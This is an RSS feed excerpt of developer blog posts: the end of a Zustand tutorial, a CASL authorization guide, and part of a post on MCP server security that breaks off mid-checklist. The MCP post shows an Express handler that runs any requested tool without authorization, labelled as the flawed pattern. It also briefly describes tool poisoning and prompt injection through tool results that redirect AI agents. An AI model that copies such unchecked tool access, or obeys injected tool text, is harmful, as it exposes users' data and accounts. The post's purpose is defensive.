password);<br>    set({ user });<br>  },<br>  logout: () =&gt; set({ user: null }),<br>});<br><br>// store/slices/cartSlice.ts<br>export interface CartSlice {<br>  cart:      CartItem[];<br>  addToCart: (item: CartItem) =&gt; void;<br>  clearCart: () =&gt; void;<br>}<br><br>export const createCartSlice: StateCreator&lt;CartSlice&gt; = (set) =&gt; ({<br>  cart: [],<br>  addToCart: (item) =&gt; set((s) =&gt; ({ cart: [...s.cart, item] })),<br>  clearCart: () =&gt; set({ cart: [] }),<br>});<br><br>// store/useStore.ts — compose slices into one store<br>import { create } from &#39;zustand&#39;;<br><br>type StoreState = AuthSlice &amp; CartSlice;<br><br>export const useStore = create&lt;StoreState&gt;((...args) =&gt; ({<br>  ...createAuthSlice(...args),<br>  ...createCartSlice(...args),<br>}));</pre><p><strong>Middleware — persistence, devtools, and immer</strong></p><p>Zustand ships with first-class middleware support. The three most commonly used are persist (saves state to localStorage or sessionStorage), devtools (connects to Redux DevTools), and immer (enables mutating-style updates):</p><pre>// store/useSettingsStore.ts — persist + devtools + immer<br>import { create } from &#39;zustand&#39;;<br>import { persist, devtools } from &#39;zustand/middleware&#39;;<br>import { immer } from &#39;zustand/middleware/immer&#39;;<br><br>interface SettingsState {<br>  theme:    &#39;light&#39; | &#39;dark&#39;;<br>  language: string;<br>  notifications: { email: boolean; push: boolean; };<br>  setTheme:    (t: &#39;light&#39; | &#39;dark&#39;) =&gt; void;<br>  toggleEmail: () =&gt; void;<br>}<br><br>export const useSettingsStore = create&lt;SettingsState&gt;()(<br>  devtools(<br>    persist(<br>      immer((set) =&gt; ({<br>        theme:    &#39;light&#39;,<br>        language: &#39;en&#39;,<br>        notifications: { email: true, push: false },<br><br>        setTheme: (theme) =&gt; set((state) =&gt; { state.theme = theme; }),<br><br>        // Immer enables direct mutation syntax — no spread needed<br>        toggleEmail: () =&gt; set((state) =&gt; {<br>          state.notifications.email = !state.notifications.email;<br>        }),<br>      })),<br>      { name: &#39;settings-storage&#39; }  // localStorage key<br>    ),<br>    { name: &#39;SettingsStore&#39; }        // Redux DevTools label<br>  )<br>);</pre><p><strong>Reading state outside components</strong></p><p>Zustand stores are not limited to React components. You can read and update state from any module — useful for API utilities, WebSocket handlers, or server-side logic:</p><pre>// lib/api.ts — access store state outside React<br>import { useStore } from &#39;../store/useStore&#39;;<br><br>export async function authenticatedFetch(url: string, options?: RequestInit) {<br>  // getState() returns the current state synchronously — no hook needed<br>  const token = useStore.getState().token;<br><br>  const res = await fetch(url, {<br>    ...options,<br>    headers: {<br>      ...options?.headers,<br>      Authorization: token ? `Bearer ${token}` : &#39;&#39;,<br>    },<br>  });<br><br>  // Update store state from outside React if needed<br>  if (res.status === 401) {<br>    useStore.setState({ user: null, token: null });<br>  }<br><br>  return res;<br>}<br><br>// Subscribe to store changes from outside React<br>useStore.subscribe(<br>  (state) =&gt; state.user,   // selector<br>  (user) =&gt; {              // callback when user changes<br>    if (!user) console.log(&#39;User logged out — cleanup&#39;);<br>  }<br>);</pre><p><strong>Zustand vs Context API vs Redux — when to use each</strong></p><p>The three options serve different needs, and the right choice depends on the specific requirements of your application:</p><ul><li>Context API — best for low-frequency, rarely-changing state: the current authenticated user, the selected theme, the active locale. Not suitable for state that updates frequently (search input, cart, UI state) because every consumer re-renders on every change.</li><li>Redux Toolkit — best for large-scale applications with complex state interactions, time-travel debugging requirements, or teams that need strict architectural conventions enforced by tooling. Redux’s opinionated structure is a feature in large teams, not a bug.</li><li>Zustand — the right default for most new projects. No providers, selective subscriptions, minimal boilerplate, excellent TypeScript support, and first-class middleware for persistence and devtools. Scales from a simple counter to enterprise-level application state without changing its API.</li></ul><p><strong>Summary</strong></p><ul><li>No providers — Zustand stores are plain hooks; no Provider component required</li><li>Selective subscriptions — components only re-render when the specific slice they selected changes</li><li>Mutations are plain functions — set() replaces actions, reducers, and dispatch</li><li>Slices pattern — large stores split into composable functions, merged at create() time</li><li>Middleware built-in — persist, devtools, and immer ship with Zustand out of the box</li><li>Works outside React — getState(), setState(), and subscribe() work anywhere in your codebase</li></ul><p>—</p><p>State management is one of those topics where the right tool often depends less on technical requirements and more on team size, codebase complexity, and how much structure you want enforced. For most new React projects in 2025, Zustand gives you everything you actually need — performant subscriptions, TypeScript support, middleware, and a minimal API — without asking you to adopt an architecture you might not need for years, if ever.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=930bc95278d8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CASL: isomorphic authorization for JavaScript]]></title>
            <link>https://medium.com/@henriquebotega/casl-isomorphic-authorization-for-javascript-7e2ce39892c9?source=rss-f4376464f907------2</link>
            <guid isPermaLink="false">https://medium.com/p/7e2ce39892c9</guid>
            <category><![CDATA[casl]]></category>
            <category><![CDATA[authorization]]></category>
            <dc:creator><![CDATA[Anderson Henrique Botega]]></dc:creator>
            <pubDate>Mon, 24 Aug 2026 17:06:01 GMT</pubDate>
            <atom:updated>2026-08-24T17:06:01.383Z</atom:updated>
            <content:encoded><![CDATA[<p><em>One ability definition — enforced consistently across your Express API, React components, and database queries</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d3HRTuWU2r-X_-KH0kFOzA.png" /></figure><p><strong>The same authorization logic, running everywhere</strong></p><p>Every access control system faces the same structural temptation: duplicate the rules. Define what an admin can do on the backend, then rewrite a version of it on the frontend to show or hide buttons, then repeat it again in the database query layer to filter rows. Three copies of the same logic, each slightly different, each a potential source of drift.</p><p>CASL (pronounced “castle”) is an isomorphic authorization library for JavaScript and TypeScript designed to eliminate that duplication. A single Ability definition — describing what a user can and cannot do on which subjects under which conditions — runs identically on the Node.js backend, the React frontend, and the database query layer. The rule is written once. The enforcement happens everywhere.</p><p>CASL is incrementally adoptable: you can start with simple role-based rules and evolve toward attribute-based conditions and field-level restrictions without changing your data model or rewriting your existing checks.</p><p><strong>Core concepts</strong></p><p>CASL’s model is built on four primitives that combine to express any authorization rule:</p><ul><li>Action — what the user is doing: read, create, update, delete, or any custom verb (publish, approve, export)</li><li>Subject — what the action applies to: a class like Post or User, or a string like ‘analytics’</li><li>Conditions — optional MongoDB-style predicates that restrict which instances are affected: { authorId: user.id }</li><li>Fields — optional field-level restrictions: a user can update their profile but only name and bio, not role</li></ul><p>These four primitives cover the full spectrum from coarse-grained RBAC (admin can manage all resources) to fine-grained ABAC (analyst can read reports where department matches their own, during business hours, excluding salary fields).</p><p><strong>The problem without CASL</strong></p><p>Without a shared authorization library, the typical pattern in a TypeScript full-stack application looks like this:</p><pre>// backend/routes/posts.ts<br>app.put(&#39;/posts/:id&#39;, async (req, res) =&gt; {<br>  const post = await db.posts.findById(req.params.id);<br>  // Rule duplicated inline, different on every route<br>  if (req.user.role !== &#39;admin&#39; &amp;&amp; post.authorId !== req.user.id) {<br>    return res.status(403).json({ error: &#39;Access denied&#39; });<br>  }<br>  // ...<br>});<br><br>// frontend/components/PostActions.tsx<br>// Same rule, rewritten for the UI — already drifting<br>function PostActions({ post, user }) {<br>  const canEdit = user.role === &#39;admin&#39; || post.authorId === user.id;<br>  return canEdit ? &lt;EditButton /&gt; : null;<br>}<br><br>// backend/queries/posts.ts<br>// Same rule again, now as a SQL condition — three copies, zero guarantee they agree<br>const posts = await db.posts.findAll({<br>  where: user.role === &#39;admin&#39; ? {} : { authorId: user.id }<br>});</pre><p>Three copies of the same rule. When the rule changes — say, moderators get edit access too — you need to find and update all three. Miss one and you have a security bug or a UX inconsistency. CASL eliminates this by making the Ability the single source of truth for all three layers.</p><p><strong>Defining abilities</strong></p><p>The Ability is defined once, typically when the user authenticates, and passed through the application:</p><pre>// casl/ability.ts — single source of truth for all permissions<br>import { AbilityBuilder, createMongoAbility, MongoAbility } from &#39;@casl/ability&#39;;<br><br>type Actions = &#39;create&#39; | &#39;read&#39; | &#39;update&#39; | &#39;delete&#39; | &#39;manage&#39; | &#39;publish&#39;;<br>type Subjects = &#39;Post&#39; | &#39;Comment&#39; | &#39;User&#39; | &#39;Analytics&#39; | &#39;all&#39;;<br><br>export type AppAbility = MongoAbility&lt;[Actions, Subjects]&gt;;<br><br>export function defineAbilityFor(user: { id: string; role: string; department: string }): AppAbility {<br>  const { can, cannot, build } = new AbilityBuilder&lt;AppAbility&gt;(createMongoAbility);<br><br>  if (user.role === &#39;admin&#39;) {<br>    can(&#39;manage&#39;, &#39;all&#39;);  // admins can do everything<br>    return build();<br>  }<br><br>  if (user.role === &#39;moderator&#39;) {<br>    can(&#39;read&#39;,   &#39;Post&#39;);<br>    can(&#39;update&#39;, &#39;Post&#39;);   // moderators can edit any post<br>    can(&#39;delete&#39;, &#39;Comment&#39;);<br>  }<br><br>  if (user.role === &#39;author&#39;) {<br>    can(&#39;create&#39;, &#39;Post&#39;);<br>    can(&#39;read&#39;,   &#39;Post&#39;);<br>    can(&#39;update&#39;, &#39;Post&#39;, { authorId: user.id });  // only own posts<br>    can(&#39;delete&#39;, &#39;Post&#39;, { authorId: user.id });  // only own posts<br>    can(&#39;publish&#39;, &#39;Post&#39;, { authorId: user.id }); // only own posts<br>    cannot(&#39;update&#39;, &#39;Post&#39;, [&#39;role&#39;, &#39;verified&#39;]); // field restriction<br>  }<br><br>  can(&#39;read&#39;, &#39;Post&#39;);  // everyone can read posts<br><br>  return build();<br>}</pre><p><strong>Backend enforcement — Express middleware</strong></p><p>On the backend, CASL integrates directly into your middleware layer. The ability is built from the authenticated user and attached to the request:</p><pre>// middleware/ability.ts — build ability from authenticated user<br>import { Request, Response, NextFunction } from &#39;express&#39;;<br>import { defineAbilityFor } from &#39;../casl/ability&#39;;<br><br>export function loadAbility(req: Request, _res: Response, next: NextFunction) {<br>  req.ability = defineAbilityFor(req.user);<br>  next();<br>}<br><br>// middleware/authorize.ts — check ability on a subject instance<br>import { subject } from &#39;@casl/ability&#39;;<br>import { Actions, Subjects } from &#39;../casl/ability&#39;;<br><br>export function authorize(action: Actions, subjectType: Subjects) {<br>  return (req: Request, res: Response, next: NextFunction) =&gt; {<br>    if (req.ability.cannot(action, subjectType)) {<br>      return res.status(403).json({ error: &#39;Access denied&#39; });<br>    }<br>    next();<br>  };<br>}<br><br>// routes/posts.ts — clean, declarative route protection<br>app.put(&#39;/posts/:id&#39;,<br>  loadAbility,<br>  async (req, res) =&gt; {<br>    const post = await db.posts.findById(req.params.id);<br><br>    // Check against the actual subject instance — conditions evaluated here<br>    if (req.ability.cannot(&#39;update&#39;, subject(&#39;Post&#39;, post))) {<br>      return res.status(403).json({ error: &#39;Access denied&#39; });<br>    }<br><br>    await db.posts.update({ id: post.id }, req.body);<br>    res.json({ ok: true });<br>  }<br>);</pre><p><strong>Database layer — filtering with accessible fields</strong></p><p>One of CASL’s most powerful features is its ability to generate database query conditions directly from the ability definition. The accessibleBy helper translates your CASL rules into a MongoDB-compatible condition object — meaning the database only returns records the user is allowed to see, without a separate post-fetch filter:</p><pre>// queries/posts.ts — CASL generates the query condition automatically<br>import { accessibleBy } from &#39;@casl/mongoose&#39;;<br>import { AppAbility } from &#39;../casl/ability&#39;;<br><br>export async function getAccessiblePosts(ability: AppAbility) {<br>  // accessibleBy() translates ability rules into a MongoDB query filter<br>  // An author gets: { authorId: user.id }<br>  // An admin gets:  {} (no filter — can read all)<br>  // A visitor gets: {} (can read all public posts)<br>  const posts = await Post.find(accessibleBy(ability, &#39;read&#39;).Post);<br>  return posts;<br>}<br><br>// For SQL databases, generate conditions manually from rules:<br>export function buildWhereClause(ability: AppAbility) {<br>  const rules = ability.rulesFor(&#39;read&#39;, &#39;Post&#39;);<br>  const conditions = rules<br>    .filter(r =&gt; !r.inverted &amp;&amp; r.conditions)<br>    .map(r =&gt; r.conditions);<br><br>  if (conditions.length === 0) return {};  // no restrictions<br>  return { OR: conditions };               // Prisma-style<br>}</pre><p><strong>Frontend enforcement — React integration</strong></p><p>On the React frontend, CASL provides the @casl/react package with an Ability context and a Can component that hides or shows UI elements based on the same ability rules:</p><pre>// Install: npm install @casl/ability @casl/react<br><br>// providers/AbilityProvider.tsx — share ability across the app<br>import { createContext, useContext } from &#39;react&#39;;<br>import { createMongoAbility } from &#39;@casl/ability&#39;;<br>import { AppAbility, defineAbilityFor } from &#39;../casl/ability&#39;;<br>import { useAuth } from &#39;./AuthProvider&#39;;<br><br>const AbilityContext = createContext&lt;AppAbility&gt;(createMongoAbility([]));<br>export const useAbility = () =&gt; useContext(AbilityContext);<br><br>export function AbilityProvider({ children }: { children: React.ReactNode }) {<br>  const { user } = useAuth();<br>  const ability = user ? defineAbilityFor(user) : createMongoAbility([]);<br>  return &lt;AbilityContext.Provider value={ability}&gt;{children}&lt;/AbilityContext.Provider&gt;;<br>}<br><br>// components/PostActions.tsx — UI driven by the same ability rules<br>import { Can } from &#39;@casl/react&#39;;<br>import { subject } from &#39;@casl/ability&#39;;<br>import { useAbility } from &#39;../providers/AbilityProvider&#39;;<br><br>export function PostActions({ post }: { post: Post }) {<br>  const ability = useAbility();<br><br>  return (<br>    &lt;div&gt;<br>      {/* Can component evaluates the same conditions as the backend */}<br>      &lt;Can I=&#39;update&#39; this={subject(&#39;Post&#39;, post)} ability={ability}&gt;<br>        &lt;EditButton postId={post.id} /&gt;<br>      &lt;/Can&gt;<br><br>      &lt;Can I=&#39;publish&#39; this={subject(&#39;Post&#39;, post)} ability={ability}&gt;<br>        &lt;PublishButton postId={post.id} /&gt;<br>      &lt;/Can&gt;<br><br>      &lt;Can I=&#39;delete&#39; this={subject(&#39;Post&#39;, post)} ability={ability}&gt;<br>        &lt;DeleteButton postId={post.id} /&gt;<br>      &lt;/Can&gt;<br>    &lt;/div&gt;<br>  );<br>}</pre><p>The Can component uses the same subject instance and the same conditions as the backend check. If an author can only update their own posts (authorId === user.id), the Edit button only appears on their own posts — without any custom prop drilling or duplicated logic.</p><p><strong>Serializable rules — abilities in JWT tokens</strong></p><p>CASL rules are plain JSON objects, which means they can be serialized into a JWT token at login time and deserialized on the frontend without a round-trip to the server. This pattern is particularly useful in systems where the ability does not change between requests:</p><pre>// auth/login.ts — serialize ability rules into the JWT<br>import { packRules } from &#39;@casl/ability/extra&#39;;<br>import { defineAbilityFor } from &#39;../casl/ability&#39;;<br>import jwt from &#39;jsonwebtoken&#39;;<br><br>app.post(&#39;/auth/login&#39;, async (req, res) =&gt; {<br>  const user = await validateCredentials(req.body);<br>  const ability = defineAbilityFor(user);<br><br>  // Pack rules into a compact format for JWT storage<br>  const rules = packRules(ability.rules);<br><br>  const token = jwt.sign(<br>    { sub: user.id, role: user.role, rules },<br>    process.env.JWT_SECRET!,<br>    { expiresIn: &#39;1h&#39; }<br>  );<br><br>  res.json({ token });<br>});<br><br>// frontend/casl/fromToken.ts — restore ability from JWT on the client<br>import { unpackRules } from &#39;@casl/ability/extra&#39;;<br>import { createMongoAbility } from &#39;@casl/ability&#39;;<br><br>export function abilityFromToken(token: string): AppAbility {<br>  const payload = JSON.parse(atob(token.split(&#39;.&#39;)[1]));<br>  return createMongoAbility(unpackRules(payload.rules));<br>}<br><br>// No extra API call needed — the ability is embedded in the token.<br>// Update the token on role change; no separate permissions endpoint required.</pre><p><strong>Field-level restrictions</strong></p><p>CASL supports per-field rules that restrict which properties of a subject a user can read or modify. This is useful for scenarios like: users can update their profile, but cannot change their role or verified status:</p><pre>// In ability definition:<br>can(&#39;update&#39;, &#39;User&#39;, [&#39;name&#39;, &#39;bio&#39;, &#39;avatar&#39;], { id: user.id });<br>cannot(&#39;update&#39;, &#39;User&#39;, [&#39;role&#39;, &#39;verified&#39;, &#39;email&#39;]);<br><br>// In the route — check which fields are being changed:<br>import { permittedFieldsOf } from &#39;@casl/ability/extra&#39;;<br><br>app.patch(&#39;/users/:id&#39;, loadAbility, async (req, res) =&gt; {<br>  const userToUpdate = await db.users.findById(req.params.id);<br><br>  // Get the fields this user is allowed to update<br>  const allowedFields = permittedFieldsOf(<br>    req.ability, &#39;update&#39;,<br>    subject(&#39;User&#39;, userToUpdate),<br>    { fieldsFrom: rule =&gt; rule.fields ?? [] }<br>  );<br><br>  // Strip any fields the user is not allowed to change<br>  const safeUpdate = Object.fromEntries(<br>    Object.entries(req.body).filter(([key]) =&gt; allowedFields.includes(key))<br>  );<br><br>  await db.users.update({ id: req.params.id }, safeUpdate);<br>  res.json({ ok: true });<br>});</pre><p><strong>Where CASL fits in the authorization stack</strong></p><p>CASL is not a replacement for the authorization models covered in this series — it is an implementation library that can express most of them. RBAC maps directly to ability definitions per role. ABAC maps to conditions in can() rules. ReBAC requires additional relationship resolution before building the ability, but the enforcement layer is still CASL.</p><p>The key distinction: CASL is an in-process library. It runs inside your application and evaluates rules against in-memory objects. It does not provide a centralized authorization service, a policy store, or a network API. For systems that need externalized authorization — where multiple services query a shared policy engine — tools like OpenFGA, Casbin, or OPA are the right choice. For full-stack TypeScript applications that want to share authorization logic between frontend and backend without an external service, CASL is uniquely well-suited.</p><p><strong>Summary</strong></p><ul><li>Isomorphic — the same Ability definition runs on the backend, the React frontend, and the database query layer</li><li>Incrementally adoptable — start with simple role checks, add conditions and field restrictions as your application grows</li><li>MongoDB-style conditions — attribute-based rules expressed as familiar query predicates</li><li>Field-level restrictions — restrict which properties of a subject a user can read or modify</li><li>Serializable rules — ability rules are plain JSON, embeddable in JWTs for stateless frontend authorization</li><li>Type-safe — written in TypeScript with full generic support for actions, subjects, and conditions</li></ul><p>—</p><p>Authorization bugs are rarely about missing checks. They are about checks that exist in one place but not another — a backend rule without a matching frontend guard, a UI that hides a button but does not protect the API behind it, a query that fetches data the current user should not see. CASL does not just make authorization easier to write. It makes it structurally harder to get wrong by ensuring that writing the rule once is sufficient.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7e2ce39892c9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MCP servers without real authorization: the risk hiding in plain sight]]></title>
            <link>https://medium.com/@henriquebotega/mcp-servers-without-real-authorization-the-risk-hiding-in-plain-sight-9696adcc7f35?source=rss-f4376464f907------2</link>
            <guid isPermaLink="false">https://medium.com/p/9696adcc7f35</guid>
            <category><![CDATA[mcps]]></category>
            <category><![CDATA[authorization]]></category>
            <dc:creator><![CDATA[Anderson Henrique Botega]]></dc:creator>
            <pubDate>Mon, 17 Aug 2026 21:36:01 GMT</pubDate>
            <atom:updated>2026-08-17T21:36:01.369Z</atom:updated>
            <content:encoded><![CDATA[<p><em>The Model Context Protocol gave AI agents a universal interface to the world. Most implementations shipped without a security model to match</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*T9SHTeTcQxnfdBbPb0vOfA.png" /></figure><p><strong>MCP arrived fast. Authorization arrived late.</strong></p><p>Anthropic released the Model Context Protocol in late 2024. Within months, it had become the de facto standard for connecting AI agents to external tools and services. By mid-2025, there were over 13,000 MCP servers deployed on GitHub alone. Major platforms — Cloudflare, Hugging Face, Auth0, GitHub, VS Code — had shipped official MCP integrations. Developers were building agents that could read files, post to APIs, query databases, and send messages, all through a standardized protocol that any LLM could speak.</p><p>The problem is that MCP was designed as a connectivity protocol first. Security was addressed in the spec, but in practice, the vast majority of implementations shipped without real authorization. A Trend Micro scan in July 2025 found 492 confirmed MCP server instances running without any basic security controls — no client authentication, no traffic encryption. Backslash Security found hundreds of servers configured to bind to 0.0.0.0, exposing them to any host on the network. Researchers called it NeighborJack.</p><p>The consequence was predictable and documented. CVE-2025–6514, CVE-2025–49596, CVE-2025–53110, CVE-2025–53109 — a list of critical vulnerabilities, most of them rooted in the same cause: MCP servers acting on behalf of users without verifying whether those users had authorized the specific action being taken.</p><p><strong>What MCP actually is — and what it is not</strong></p><p>The Model Context Protocol is a standardized interface for AI agents to discover and invoke tools. An MCP server exposes a set of named tools with typed parameters. An agent — typically an LLM-based system — discovers those tools, selects one based on its reasoning, and calls it with arguments. The server executes the action and returns a result.</p><p>This is a powerful abstraction. It means any agent can work with any MCP-compatible service without custom integration code. A code review agent can use the GitHub MCP server. A document processing agent can use the filesystem MCP server. An analytics agent can use a database MCP server. The interface is universal.</p><p>What MCP is not — and was never designed to be — is an authorization framework. The protocol defines how tools are invoked. It does not define who is allowed to invoke which tools, under what conditions, with what scope, or on behalf of which principal. That layer was left to implementors. Most implementors skipped it.</p><p><strong>The three failure modes in real deployments</strong></p><p><strong>1. Authentication without authorization</strong></p><p>The most common pattern in early MCP deployments was: require a token to connect, then grant full access to all tools once connected. Authentication — verifying identity — was present. Authorization — deciding what that identity can do — was not.</p><p>This is what security researchers called the binary access model. A valid token gets you everything. There is no concept of tool-level permissions, no scope enforcement, no per-resource access control. An agent authenticated to a filesystem MCP server could read, write, or delete any file the server had access to — not just the files relevant to the current task.</p><pre>// The pattern that shipped in thousands of MCP servers<br>app.post(&#39;/mcp&#39;, async (req, res) =&gt; {<br>  // Step 1: verify the token (authentication)<br>  const token = req.headers.authorization?.slice(7);<br>  const user  = await verifyToken(token);<br>  if (!user) return res.status(401).json({ error: &#39;Unauthorized&#39; });<br><br>  // Step 2: execute whatever tool was requested (no authorization check)<br>  const { tool, args } = req.body;<br>  const result = await tools[tool]?.(args);  // full access, no scope check<br>  res.json({ result });<br>});<br><br>// If the agent is compromised, every tool is immediately accessible.<br>// If a prompt injection tricks the agent into calling the wrong tool,<br>// there is nothing to stop it.</pre><p>2<strong>. No tool-level scoping</strong></p><p>The June 2025 MCP spec update formally classified MCP servers as OAuth Resource Servers and required the use of Resource Indicators (RFC 8707) to scope tokens to specific servers. But this addressed token replay across servers — it did not address which tools within a server a given token should be allowed to call.</p><p>Without tool-level scoping, authorization is coarse: authenticated means authorized. An agent with a valid token for a GitHub MCP server can not only list pull requests, it can also delete repositories, modify branch protections, and add collaborators — if the server exposes those tools and the token has sufficient GitHub permissions. The MCP layer adds zero restriction on top of what the underlying API allows.</p><p>3. <strong>Confused deputy at scale</strong></p><p>The most dangerous failure mode is what Adversa AI documented as CVE-2025–49596 (CVSS 9.4): MCP servers acting on behalf of users without properly verifying which user authorized which action. An MCP server holding OAuth tokens for multiple users could be tricked into using one user’s credentials to perform an action on behalf of another user. Classic confused deputy — the server has authority it did not earn from the specific user making the current request.</p><p>In a multi-tenant MCP deployment, this means a compromised agent or a malicious tool call could escalate from one user’s permissions to another’s, without ever breaking the outer authentication layer. The outer layer says “you are authenticated.” The inner layer never asks “are you authorized to use this user’s credentials for this action?”</p><p><strong>The attack surface: what researchers found</strong></p><p>By mid-2025, the MCP security landscape had produced a documented set of attack vectors that all trace back to missing authorization:</p><ul><li>Tool poisoning: malicious tool descriptions containing hidden instructions that redirect the agent’s actions. Without authorization checks at the tool-call layer, the agent executes whatever the tool description tells it to, including actions the user never requested</li><li>Prompt injection via tool results: a tool returns content containing injected instructions. The agent, treating the result as trusted context, follows them. Without scope enforcement, the injected instructions can invoke any tool the server exposes</li><li>NeighborJack: servers bound to 0.0.0.0 exposed to the network without authentication. Any host on the same network can invoke tools with no credentials at all</li><li>CVE-2025–6514: mcp-remote passed server-provided OAuth metadata directly to the system shell, executing arbitrary commands on 437,000 developer machines. The root cause was trusting server-provided authorization endpoints without validation</li><li>EchoLeak: a zero-click vulnerability in Microsoft 365 Copilot where prompt injection through MCP tool results triggered data exfiltration without user interaction</li></ul><p><strong>What correct MCP authorization looks like</strong></p><p>The MCP Authorization Specification (2025–11–25) and the June 2025 spec update established the baseline for secure MCP deployments. The spec is clear: OAuth 2.1 with PKCE is mandatory for all HTTP-based transports. Protected Resource Metadata (RFC 9728) enables clients to discover authorization requirements. Resource Indicators (RFC 8707) scope tokens to specific servers.</p><p>But the spec establishes authentication and token mechanics. Authorization — who can call which tool — still requires implementation. Here is what a secure MCP server must add on top of OAuth:</p><p><strong>Step 1: Protected Resource Metadata discovery</strong></p><pre>// mcp/discovery.ts — RFC 9728 protected resource metadata<br>// Every MCP server MUST expose this exact path<br>app.get(&#39;/.well-known/oauth-protected-resource&#39;, (_req, res) =&gt; {<br>  res.json({<br>    resource:                    process.env.MCP_SERVER_URL,<br>    authorization_servers:       [process.env.AUTH_SERVER_URL],<br>    bearer_methods_supported:    [&#39;header&#39;],<br>    scopes_supported:            [<br>      &#39;tools:files:read&#39;,<br>      &#39;tools:files:write&#39;,<br>      &#39;tools:git:read&#39;,<br>      &#39;tools:git:write&#39;,<br>      &#39;tools:db:query&#39;,<br>    ],<br>  });<br>});<br><br>// Clients use this to discover which authorization server to use<br>// and which scopes are required before requesting a token.<br>// Without this, clients blindly trust whatever the server advertises —<br>// the root cause of CVE-2025-6514.</pre><p><strong>Step 2: Token validation with audience and scope</strong></p><pre>// mcp/auth.ts — validate token with audience + resource indicator<br>import { jwtVerify, createRemoteJWKSet } from &#39;jose&#39;;<br><br>const JWKS = createRemoteJWKSet(new URL(`${process.env.AUTH_SERVER_URL}/jwks`));<br><br>export async function validateToken(token: string) {<br>  const { payload } = await jwtVerify(token, JWKS, {<br>    issuer:   process.env.AUTH_SERVER_URL,<br>    audience: process.env.MCP_SERVER_URL,  // RFC 8707: token must target THIS server<br>  });<br><br>  if (!payload.sub)    throw new Error(&#39;Missing subject claim&#39;);<br>  if (!payload.scope)  throw new Error(&#39;Missing scope claim&#39;);<br><br>  return {<br>    userId: payload.sub as string,<br>    scopes: (payload.scope as string).split(&#39; &#39;),<br>  };<br>}<br><br>// Audience validation prevents token replay attacks:<br>// a token issued for server-A cannot be used against server-B.<br>// This is what the June 2025 spec update mandated.</pre><p><strong>Step 3: Tool-level authorization</strong></p><p>This is the layer the spec describes but does not implement: each tool call must be checked against the scopes in the token AND the calling agent’s delegation chain. OAuth decides who gets in. ReBAC/ABAC decides what they can touch.</p><pre>// mcp/gateway.ts — authorization at every tool invocation<br>import { validateToken } from &#39;./auth&#39;;<br>import { checkAgentAccess } from &#39;../agent-auth/checker&#39;;<br><br>// Tool → required scope mapping<br>const TOOL_SCOPES: Record&lt;string, string&gt; = {<br>  &#39;read_file&#39;:        &#39;tools:files:read&#39;,<br>  &#39;write_file&#39;:       &#39;tools:files:write&#39;,<br>  &#39;list_repos&#39;:       &#39;tools:git:read&#39;,<br>  &#39;create_pr&#39;:        &#39;tools:git:write&#39;,<br>  &#39;delete_repo&#39;:      &#39;tools:git:admin&#39;,   // elevated — rarely granted<br>  &#39;query_database&#39;:   &#39;tools:db:query&#39;,<br>};<br><br>export async function handleToolCall(<br>  req: Request,<br>  res: Response<br>) {<br>  // 1. Validate token<br>  const token = req.headers.authorization?.slice(7);<br>  if (!token) return res.status(401).json({ error: &#39;No token&#39; });<br><br>  let userId: string;<br>  let scopes: string[];<br>  try {<br>    ({ userId, scopes } = await validateToken(token));<br>  } catch {<br>    return res.status(401).json({ error: &#39;Invalid token&#39; });<br>  }<br><br>  const { tool, args, agentId } = req.body;<br><br>  // 2. Check: does the token have the required scope for this tool?<br>  const required = TOOL_SCOPES[tool];<br>  if (!required || !scopes.includes(required)) {<br>    auditLog(&#39;TOOL_DENIED_SCOPE&#39;, { userId, agentId, tool, required, scopes });<br>    return res.status(403).json({ error: `Scope &#39;${required}&#39; required for tool &#39;${tool}&#39;` });<br>  }<br><br>  // 3. If an agent is acting on behalf of a user, verify the delegation chain<br>  if (agentId) {<br>    const { allowed, chain } = await checkAgentAccess(agentId, args.resourceId, tool);<br>    if (!allowed) {<br>      auditLog(&#39;TOOL_DENIED_DELEGATION&#39;, { userId, agentId, tool, chain });<br>      return res.status(403).json({ error: &#39;Delegation chain invalid&#39;, chain });<br>    }<br>  }<br><br>  // 4. Execute — only after both checks pass<br>  auditLog(&#39;TOOL_GRANTED&#39;, { userId, agentId, tool });<br>  const result = await executeTool(tool, args, userId);<br>  res.json({ result });<br>}</pre><p><strong>Step 4: Dynamic Client Registration for agent deployments</strong></p><p>In enterprise deployments with many agents, static client credentials become unmanageable. Dynamic Client Registration (RFC 7591) allows agent instances to register themselves with the authorization server at runtime, receive scoped credentials, and have those credentials revoked when the agent is decommissioned — without any manual IAM operation.</p><pre>// mcp/dcr.ts — register an agent instance at deploy time<br>export async function registerAgent(agentMeta: {<br>  name:        string;<br>  version:     string;<br>  allowedTools: string[];<br>}) {<br>  const response = await fetch(`${process.env.AUTH_SERVER_URL}/register`, {<br>    method: &#39;POST&#39;,<br>    headers: { &#39;Content-Type&#39;: &#39;application/json&#39; },<br>    body: JSON.stringify({<br>      client_name:   agentMeta.name,<br>      grant_types:   [&#39;authorization_code&#39;],<br>      // Scopes locked to what this agent instance actually needs<br>      scope: agentMeta.allowedTools.map(t =&gt; TOOL_SCOPES[t]).join(&#39; &#39;),<br>      // Short-lived client credentials<br>      token_endpoint_auth_method: &#39;none&#39;,  // public client — use PKCE<br>    }),<br>  });<br><br>  const { client_id } = await response.json();<br><br>  auditLog(&#39;AGENT_REGISTERED&#39;, {<br>    clientId: client_id,<br>    agent:    agentMeta.name,<br>    scopes:   agentMeta.allowedTools,<br>  });<br><br>  return client_id;<br>}<br><br>// On decommission: revoke the client registration<br>export async function deregisterAgent(clientId: string) {<br>  await fetch(`${process.env.AUTH_SERVER_URL}/register/${clientId}`, {<br>    method: &#39;DELETE&#39;,<br>    headers: { Authorization: `Bearer ${await getAdminToken()}` },<br>  });<br>  auditLog(&#39;AGENT_DEREGISTERED&#39;, { clientId });<br>}</pre><p><strong>The minimum viable security checklist</strong></p><p>Based on the 2025–11–25 MCP Authorization Specification and the documented attack surface, any MCP server handling sensitive data or actions in an enterprise context must implement:</p><ul><li>OAuth 2.1 with PKCE — Authorization Code flow, no implicit grant, no ROPC. Mandatory for all HTTP transports per the MCP spec</li><li>Protected Resource Metadata (RFC 9728) — expose /.well-known/oauth-protected-resource so clients can discover the correct authorization server rather than trusting server-provided endpoints</li><li>Resource Indicators (RFC 8707) — tokens must be audience-scoped to the specific MCP server 